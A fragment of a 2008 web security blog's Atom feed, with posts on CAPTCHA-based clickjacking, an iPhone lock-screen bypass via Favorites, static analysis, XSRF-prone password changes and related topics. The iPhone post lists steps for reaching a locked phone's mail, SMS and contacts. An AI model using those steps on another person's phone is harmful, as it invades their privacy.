src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8932357913106954178</id><published>2008-11-21T17:07:00.001Z</published><updated>2008-11-21T20:19:48.722Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='clickjacking'/><title type='text'>CAPTCHA-Jacking</title><content type='html'>&lt;a href="http://ha.ckers.org"&gt;RSnake&lt;/a&gt; and &lt;a href="http://jeremiahgrossman.blogspot.com"&gt;Jeremiah Grossman&lt;/a&gt; did a really good and thorough job of going over clickjacking and many different ways that it can take place.  And until I sat up one night and made my own example, I didn't consider how easy and how serious it was.&lt;br /&gt;&lt;br /&gt;Before reading on, please note two things:  1) I'm not claiming to have discovered something new, and 2) I'm not recommending a new name or anything.  Rsnake and Jeremiah did all the work and listed a whole series of things that could happen that they admitted were not exhaustive.&lt;br /&gt;&lt;br /&gt;However, the most common way to work clickjacking is by completely hiding the target site in a transparent (0.0 opacity) iframe over &amp;quot;the red candy-like button&amp;quot;.  A teammate and I worked through a proof of concept, though where the idea was to make the target site &lt;b&gt;visible&lt;/b&gt; and then use div's above the iframe to hide all the parts you don't want.  The most common example would be to have the user solve a CAPTCHA.  There are plenty of sites that explain that using a CAPTCHA is a great way to eliminate XSRF and clickjacking all at once.&lt;br /&gt;&lt;br /&gt;RSnake and Jeremiah were right - the best way to avoid clickjacking is by using framebusting code.  That solves a couple of other problems (although because with IE you can specify a security zone for an iframe it's not bulleproof, but at least you could have noscript that warns the user they might be getting clickjacked) such as dealing with DNS binding attacks.  And if users were better about using different passwords for different sites, you can always ask for their password for sensitive actions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8932357913106954178?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8932357913106954178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/11/captcha-jacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8932357913106954178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8932357913106954178'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/11/captcha-jacking.html' title='CAPTCHA-Jacking'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-721972728965785682</id><published>2008-08-29T11:09:00.000Z</published><updated>2008-08-29T11:30:14.960Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><title type='text'>Favorites Scmavorites</title><content type='html'>Okay, a hundred sites have posted information on the iPhone exploit where you can bypass the security code required to unlock the phone.  I don't think as I was playing with it last night that I discovered anything that nobody else has discovered.  But I'll give a run-down of all the nifty things I was able to do with it once I got to the favorites screen:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If a single favorite has a URL, you can tap that and get Safari - the full shebang, so go to a jailbreak site.  Game over.  I think the security code is stored on the SIM, however, so this wouldn't necessarily bypass that - but since the phone is jailbroken, you should be able to run a telnet or ssh service in the background (good luck following that IP address for long, though).&lt;/li&gt;&lt;li&gt;If the favorite has a physical address, tap that to get to maps.  More on that later&lt;/li&gt;&lt;li&gt;From Maps, put in the name of a company you know has a website.  When the pin comes up for it, follow the link - back in Safari.  Game over - as above.&lt;/li&gt;&lt;li&gt;From Maps, you can also see the home address of every contact on the phone.  Or overwrite the contact information for every contact on the phone.&lt;/li&gt;&lt;li&gt;If a Favorite has an email address, you can tap the email addy to get to a Mail compose window.  Cancel the message, and you have *full* mail access.  Also, if there are links...&lt;/li&gt;&lt;li&gt;Hit Text Message and you go to the SMS composer window.  Cancel that SMS message, and you can read all their previous SMS messages.&lt;/li&gt;&lt;li&gt;If the victim's Home button is configured to go to iPod, then you get full iPod controls.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Now, before you think I've gone all gloom and doom on you, I haven't.  That's a very targeted attack against a single person.  The most common way this would happen would be as a social engineering attack.  I often get asked if somebody can use my phone because their ride hasn't shown up at the bus stop yet.  The Emergency Call feature is what that's for - press Emergency Call and tap the numbers you need, but you don't get access to all the other junk.  So this is a one person at a time sort of attack.  This isn't some freaky remote exploit (not that it couldn't be).&lt;br /&gt;&lt;br /&gt;There are a couple of things I haven't experimented with on this.  First, I've only got one iPhone and not a budget for doing research on the iPhone, so jailbreaking it while it was locked could brick my phone at my own personal expense.  If somebody else wants to hit a jailbreak site with a "locked" phone, be my guest.  Second, some websites are able to open Maps from Safari - this works just like opening Youtube.  Can you also open Stocks?  Notes?  Arbitrary other app on the phone?&lt;br /&gt;&lt;br /&gt;And of course, Apple will probably have this fixed in the next rev of firmware (putting off copy/paste yet again).  And until that time, you can either make new favorites with just phone numbers, or you can remove all your favorites, or you can change the home button behavior to go to the home screen instead of favorites.  Or you can avoid getting your iPhone into the hands of strangers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-721972728965785682?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/721972728965785682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/08/favorites-scmavorites.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/721972728965785682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/721972728965785682'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/08/favorites-scmavorites.html' title='Favorites Scmavorites'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4707941173598733970</id><published>2008-07-23T23:39:00.000Z</published><updated>2008-07-24T00:04:43.246Z</updated><title type='text'>On Source Code Review</title><content type='html'>First of all, &lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt;'s periodic &lt;a href="http://jeremiahgrossman.blogspot.com/2008/07/web-application-security-professionals.html"&gt;Web Application Professional's Survey&lt;/a&gt; is online - so &lt;a href="http://www.surveymonkey.com/s.aspx?sm=NrpObLY9LJYz5NIqM7g8ow_3d_3d"&gt;go take it&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;That being said, I've kept quite silent on the value of static source code analysis for awhile now because I'm pretty sure what the reaction will be, but one of the questions on the survey was regarding which measures to application security go first.&lt;br /&gt;&lt;br /&gt;There have been several places where static analysis has gotten a dissed, where it might not be necessary.  Most notably of which, I think Fortify Software did their own software a disservice at the Iron Chef Blackhat edition at Black Hat last year.  The competition was between some of their source code analyzers and some of their dynamic analyzers.  The application testers won hands down.&lt;br /&gt;&lt;br /&gt;Before I begin, know that I believe that there is &lt;b&gt;no&lt;/b&gt; silver bullet to application security.&amp;nbsp; Nor do I think static source code analysis is the "best" method of finding vulnerabilities.&amp;nbsp; Here are some of the valid or most important reasons that static analysis should not stand alone:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Static analysis is really best at finding semantic flaws - bad API use or failure to use certain API's, etc.&lt;/li&gt;&lt;li&gt;Static analysis doesn't give compelling pretty pictures and videos of your application giving up information.&amp;nbsp; The results of a static analysis are only meaningful to developers, and then, only meaningful to developers who understand the real risk of the types of findings.&lt;/li&gt;&lt;li&gt;Static analysis almost always requires really expensive tools to do a really, really good job.&amp;nbsp; There are grep types of analyzers, but they don't follow taint through an application.&lt;/li&gt;&lt;li&gt;Static analysis may analyze components of your code that don't get used.&amp;nbsp; There are still prioritization decisions to be made.&lt;/li&gt;&lt;li&gt;Static analysis tools can't find logical flaws such as privilege escalation or XSRF.&lt;/li&gt;&lt;li&gt;Static analysis has different requirements than black box testing:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Developers who understand the code and can fix it&lt;/li&gt;&lt;li&gt;The source code&lt;/li&gt;&lt;li&gt;For many tools, the code needs to at least build (doesn't have to run)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;However, there are some really, really good reasons static analysis should be a part of your security toolbelt:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Static analysis can find vulnerabilities that dynamic analysis can't - corner cases.&amp;nbsp; "This cross-site scripting flaw only exists on Tuesdays" - if your application was tested in a running state on Monday, you won't know that the flaw exists.&amp;nbsp; Thread safety issues are &lt;b&gt;very&lt;/b&gt; bad for an application, but a black box test of an application might never cause one to come up, and if it does, it's nearly impossible to reproduce, and the results don't say to the oracle that it was that type of vulnerability.&amp;nbsp; (For example, the application gave you access even though you used the wrong password.)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The results of static analysis are meaningful to developers.&amp;nbsp; They get lines of code back where untrusted data enters the application, where it flows through the application, and when it exits the application.&amp;nbsp; These are the exact lines that the developers need to fix, which a black box test alone can't give you.&lt;/li&gt;&lt;li&gt;Since the results of a static analysis are geared toward the developers, it provides "instant training" for developers.&amp;nbsp; "What does it take to make this shut up?"&amp;nbsp; (While I prefer developers understand &lt;b&gt;why&lt;/b&gt; you want it to shut up, finding all the places is pretty good, too.)&lt;/li&gt;&lt;li&gt;Static analysis can happen much earlier in the development process, long before the application is functional.&amp;nbsp; This gives black box testers more time to test the really cool stuff that static analysis can't find.&lt;/li&gt;&lt;li&gt;Static analysis can take place as part of a build process, automatically generating problem tickets and/or preventing the promotion of code with high-probability, high-risk findings.&amp;nbsp; This can be done with automated black-box tools, but it requires a running environment - many more moving parts. &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;So I'm convinced that as long as Iron Chef Blackhat is run the same way as it was last year, static analysis will always lose simply because to a spectator, the results are just &lt;b&gt;boring&lt;/b&gt;.&amp;nbsp; However, that doesn't mean that it shouldn't be a very, very vital part of the development process.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4707941173598733970?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://jeremiahgrossman.blogspot.com/2008/07/web-application-security-professionals.html' title='On Source Code Review'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4707941173598733970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/07/on-source-code-review.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4707941173598733970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4707941173598733970'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/07/on-source-code-review.html' title='On Source Code Review'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6825211356905704136</id><published>2008-07-02T22:44:00.000Z</published><updated>2008-07-02T22:54:46.340Z</updated><title type='text'>Coding is a Science, not an Art</title><content type='html'>This has more to do with coding than engineering - two different phases of development.&lt;br /&gt;&lt;br /&gt;When I've done code reviews, when I very clearly see a flaw and point it out, the first response is denial.  (See &lt;a href="http://jeremiahgrossman.blogspot.com/2007/03/5-stages-of-web-application-security.html"&gt;The Five Stages of Web Application Security Grief&lt;/a&gt; - the devs have the same initial phase.)  Developers are so quick to point out the really old defenses (it's a hidden form field; we validate that the drop down list only contains the values we expect when we render it).  When you clearly explain the failures of those defenses, they move on to pure denial ("you have to show me").  Then you show them.&lt;br /&gt;&lt;br /&gt;It doesn't have to be this hard.&lt;br /&gt;&lt;br /&gt;Coders, know that writing code is not an art.  It is a science.  If it's a science, a found failure is not a comment on your value as a human being.  It's a comment on your tendency to make typos, not press the right key, or simply to not have adequate information to execute the problem at hand.  If I were to say that your &lt;strong&gt;theory&lt;/strong&gt; has a flaw - that hurts.  You've really invested something of yourself into that.  But if I simply point out that you failed to carry a 1 or to consider the null hypothesis, or to turn the knob before pressing the button, it hurts much less.&lt;br /&gt;&lt;br /&gt;Engineering is different.  But if coders (myself included) were far less defensive about their code and actually valued it enough to take recommendations on how to make it better, we could get to the making it better part much, much sooner.  Value your skill enough to allow others to help you make that skill better.  Even the most elite of ninjas need training.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6825211356905704136?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6825211356905704136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/07/coding-is-science-not-art.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6825211356905704136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6825211356905704136'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/07/coding-is-science-not-art.html' title='Coding is a Science, not an Art'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4102667105882852597</id><published>2008-06-29T23:49:00.000Z</published><updated>2008-06-29T23:52:43.105Z</updated><title type='text'>Drive By Password Changing</title><content type='html'>Just glancing at some sites that I use day to day, I've found yet another that not only doesn't require the old password to change the password, but also has no other evident controls to prevent XSRF.  And this one is a pretty big one, too.  I notified them, but I'm sure I'll get a canned help desk response "to change your password, click on the Change Password link and enter your new password twice".&lt;br /&gt;&lt;br /&gt;While I don't totally disagree with Billy Hoffman's paranoia of all things Web 2.0, you would think that the more Web 2.0 sites would actually be more concerned about security.  Password issues aren't specific to Web 2.0, nor is XSRF.  But you would think the people working on implementing new methods would have already figured out how to do the old methods right.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4102667105882852597?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4102667105882852597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/06/drive-by-password-changing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4102667105882852597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4102667105882852597'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/06/drive-by-password-changing.html' title='Drive By Password Changing'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8631815013659033168</id><published>2008-06-12T00:03:00.002Z</published><updated>2008-06-12T00:08:00.575Z</updated><title type='text'>Data Destruction</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.makezine.com/upload/2008/06/slaggingHDs061008.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px;" src="http://blog.makezine.com/upload/2008/06/slaggingHDs061008.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;And I thought I was doing the right thing with tools like &lt;a href="http://dban.sourceforge.net/"&gt;DBAN&lt;/a&gt; (when I only have a little time) or &lt;a href="http://unixhelp.ed.ac.uk/CGI/man-cgi?shred+1"&gt;shred&lt;/a&gt; so I can set my own paranoia level high.  I suspect at temperatures this high, that there's little magnetic remnant of the data.  But you have to do this in a secure place (or shred first, melt later).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8631815013659033168?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8631815013659033168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/06/data-destruction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8631815013659033168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8631815013659033168'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/06/data-destruction.html' title='Data Destruction'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8238034344891440745</id><published>2008-05-28T02:44:00.003Z</published><updated>2008-05-28T03:05:53.791Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xpfa'/><title type='text'>XPFA in Hollywood</title><content type='html'>Well, it turns out that Cross-Personality Framing Attacks (XPFA) aren't just fact, they make good fiction, too.  While &lt;a href="http://schneier.com/"&gt;Bruce Schneier&lt;/a&gt; asks his readers to come up with &lt;a href="http://www.schneier.com/blog/archives/2006/06/movieplot_threa_1.html"&gt;movie plot threats&lt;/a&gt;, the writers for &lt;a href="http://cbs.com/"&gt;CBS&lt;/a&gt; (at the very least) are up to the same.  I saw an episode of &lt;a href="http://www.cbs.com/primetime/without_a_trace/"&gt;Without a Trace&lt;/a&gt; tonight (Season 4, Episode 5 - or 75 &amp;quot;Honor Bound&amp;quot;) where an XPFA ends up being a very pivotal plot point in the show.  Certainly, there are other fictional shows where similar things happen.&lt;br /&gt;&lt;br /&gt;It's unfortunate, however, that it doesn't just make for good fiction.  These types of image-destroying attacks take place all the time, and real peoples' lives are being impacted because of them.  And there's simply no real defense against it.  Sadly, the only real victims are the people being attacked, and it's rare that the people who &amp;quot;fall for it&amp;quot; are inconvenienced.  So there's little incentive for people who read fake profiles and ads to disbelieve what they read.  This one really depends on people to be responsible, and just don't believe everything you read.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8238034344891440745?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8238034344891440745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/xpfa-in-hollywood.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8238034344891440745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8238034344891440745'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/xpfa-in-hollywood.html' title='XPFA in Hollywood'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6592569923921245582</id><published>2008-05-22T22:55:00.002Z</published><updated>2008-05-22T23:25:26.370Z</updated><title type='text'>Maintainable Code</title><content type='html'>I watched a fairly old &lt;a href="http://video.yahoo.com/watch/568351"&gt;talk by Nicholas Zakas on Maintainable JavaScript&lt;/a&gt; today, and even though it's not new information by any stretch, it's certainly relevant.  And you might think that maintainability has nothing to do with security, but maintainability has a substantial impact on security.&lt;br /&gt;&lt;br /&gt;First, a couple of statements about the talk.  While most of the code samples are in Javascript, and some of the discussion is specific to JavaScript, it is certainly relevant to folks writing any type of code - er. except dead-end code that will never go to production, I suppose.  (Unfortunately, you may think it's not going to production, but alas it will).&lt;br /&gt;&lt;br /&gt;He mentions the following attributes as being fundamental to maintainable code:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Understandable&lt;/li&gt;&lt;li&gt;Intuitive&lt;/li&gt;&lt;li&gt;Adaptable&lt;/li&gt;&lt;li&gt;Extendable&lt;/li&gt;&lt;li&gt;Debuggable&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;These things certainly make it easier to add security to applications that don't have it.  While some believe that web application scanning and a web application firewall can cure all that ails you, they're only part of a complete solution - fixing source code and writing good code from the beginning are critical to code defensiveness. &lt;br /&gt;&lt;br /&gt;Another couple of attributes that Nicholas didn't mention specifically (but he certainly emphasized them) are consistency and testability.&lt;br /&gt;&lt;br /&gt;Consistency is not only making a decision about code formatting (although cosmetic things like that make code review much easier), but consistency should apply to design patterns and library use.  Consistency in design patterns helps code reviewers - once they've seen a pattern and how it's used once, they can begin to see &amp;quot;patterns in the patterns&amp;quot; - when particular algorithms are used and when they're not.  A code reviewer can provide a much more valuable report when the developers use the same patterns.  Consistency in libraries is critical to properly tuning static analysis tools as well as making recommended solutions that fit within the one scheme of frameworks in use.&lt;br /&gt;&lt;br /&gt;Before I talk about testability, I'll talk about tests.  Unit tests for code are very helpful during code review because they reveal how methods are supposed to behave.  Not only should unit tests test for functionality, but also boundary cases and exceptions.  If a function is supposed to take a number between 1 and 1,000, what happens when 0.999 is passed or 1,001 or 1000.001?  Does the function fail gracefully?  These types of tests help to reveal deficiencies in the functions themselves, and are helpful in revealing the desired functionality of those components.  So if code is written in a way that it can't properly be tested (say, it's hard-wired to production data sources), there's a good guarantee that the tests are not being written or executed.  And if they're not being written or executed, then you're missing two components - the guarantees that negative cases fail gracefully, and the external technical documentation about the desired functionality.&lt;br /&gt;&lt;br /&gt;It was an excellent talk, however I don't totally agree with him on all points - most notably the use of closures.  While I agree that closures don't solve everything, in many languages, they actually help the readability and understandability of the code.  Simple is generally better, and closures properly applied can greatly simplify logic.  (Yes, they can be mis-applied).  And I'm undecided on extending objects you don't own.  Javascript strings need a trim() function, and I've become pretty fond of Groovy - and it adds lots of functions I didn't know I needed (many of which take a closure as an argument).&lt;br /&gt;&lt;br /&gt;So, go watch the video.  And figure out where you can make things more maintainable.  But like in all things - take small steps.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6592569923921245582?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://video.yahoo.com/watch/568351' title='Maintainable Code'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6592569923921245582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/maintainable-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6592569923921245582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6592569923921245582'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/maintainable-code.html' title='Maintainable Code'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-826246619619463889</id><published>2008-05-13T23:39:00.002Z</published><updated>2008-05-13T23:52:15.142Z</updated><title type='text'>Somebody Changed My Password!</title><content type='html'>Okay, not really.&lt;br /&gt;&lt;br /&gt;On a very popular website the other day, I went to change my password.  It had two of the three really common boxes required for changing a password:  New Password, and Repeat New Password.  Yes, they fail to prompt the user for their &lt;span style="font-weight:bold;"&gt;current&lt;/span&gt; password.&lt;br /&gt;&lt;br /&gt;And this is on a site that not only allows, but encourages users to stay logged in.  Their documentation is pretty sparse as it is, but I've not found anything on the site explaining to the ordinary user that they shouldn't stay logged in from a shared computer (where it's even more likely that just anybody could change my password).&lt;br /&gt;&lt;br /&gt;So I sent in a support request.  I understand there was a lot of talk in my support request about passwords and stuff, so any automated tool would probably think that I wanted to change my password and didn't know how.  The only problem is, this "automated" tool took two days to reply to me - so I don't know if it's an automated response after all.&lt;br /&gt;&lt;br /&gt;The response it took them two days to conjure started with:&lt;br /&gt;&lt;blockquote&gt;Thanks for your email. To change your password:&lt;/blockquote&gt;&lt;br /&gt;So it took two days for a response, making me believe that a human being looked at my support request - and this is what they came up with?!&lt;br /&gt;&lt;br /&gt;Now, most people probably already know the site in question.  I won't say the site, but this makes it really easy to execute another good &lt;a href="http://sylvanvonstuppe.blogspot.com/2008/01/social-networking-threat-xpfa.html"&gt;XPFA&lt;/a&gt; against somebody.&lt;br /&gt;&lt;br /&gt;As a side note, I find it really interesting that there are evident XSRF guards in the change password form, but not the most basic of guards - the current password.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-826246619619463889?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/826246619619463889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/somebody-changed-my-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/826246619619463889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/826246619619463889'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/05/somebody-changed-my-password.html' title='Somebody Changed My Password!'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6885694034819652941</id><published>2008-04-26T00:28:00.002Z</published><updated>2008-04-26T00:52:09.216Z</updated><title type='text'>Combination Attacks and Metrics</title><content type='html'>I think the most important benefit of blackbox and graybox application testing is the screenshots.  It's actually not very helpful to a developer to just tell them "you had x number of XSS", but to show them the steps that were taken in order to do something really condemning to the application (steal credentials, money, install malware, start a worm, etc.) in order that those who receive it get a better picture of how it really impacts them.&lt;br /&gt;&lt;br /&gt;However, at some point, metrics have to be made.  Somebody has to know if site A is "better" than site B, or if site A is improved over last year.&lt;br /&gt;&lt;br /&gt;But do combination attacks change the picture?  When measured alone, 9.76% of websites were vulnerable to HTTP Response Splitting attacks, but only a trace had Insufficient Authentication, Authorization, or Session Expiration problems.  I would assume Session Fixation would lie in one of those three.  But how many sites actually had both?  Where an attacker can send a URL to a victim with a known session iD, the client takes that ID because of a response splitting (actually, header injection in this case) problem, and the attacker waits for the victim to authenticate (not receiving a new session ID).  Either of the problems alone is pretty bad.  But in combination, that's very serious.&lt;br /&gt;&lt;br /&gt;Another example would be cross-site scripting and key exposure.  If a site has key exposure problems where an authenticated user can find the email address of all the users in the system by enumerating key numbers, there's an opportunity for spearphishing.  But if you combine that with an anonymous, reflected Cross-site Scripting exploit, you can make a very compelling attack against users you know to be legitimate users.&lt;br /&gt;&lt;br /&gt;How do folks roll those combinations into their metrics?  I suppose that's where a consistent scoring algorithm such as CVSS (maybe not CVSS exactly) that takes multiple factors (combinations of vulnerabilities, for example) into account is helpful in keeping metrics that still show the weight of combined problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6885694034819652941?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6885694034819652941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/combination-attacks-and-metrics.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6885694034819652941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6885694034819652941'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2008/04/combination-attacks-and-metrics.html' title='Combination Attacks and Metrics'/><author><name>Sylvan von 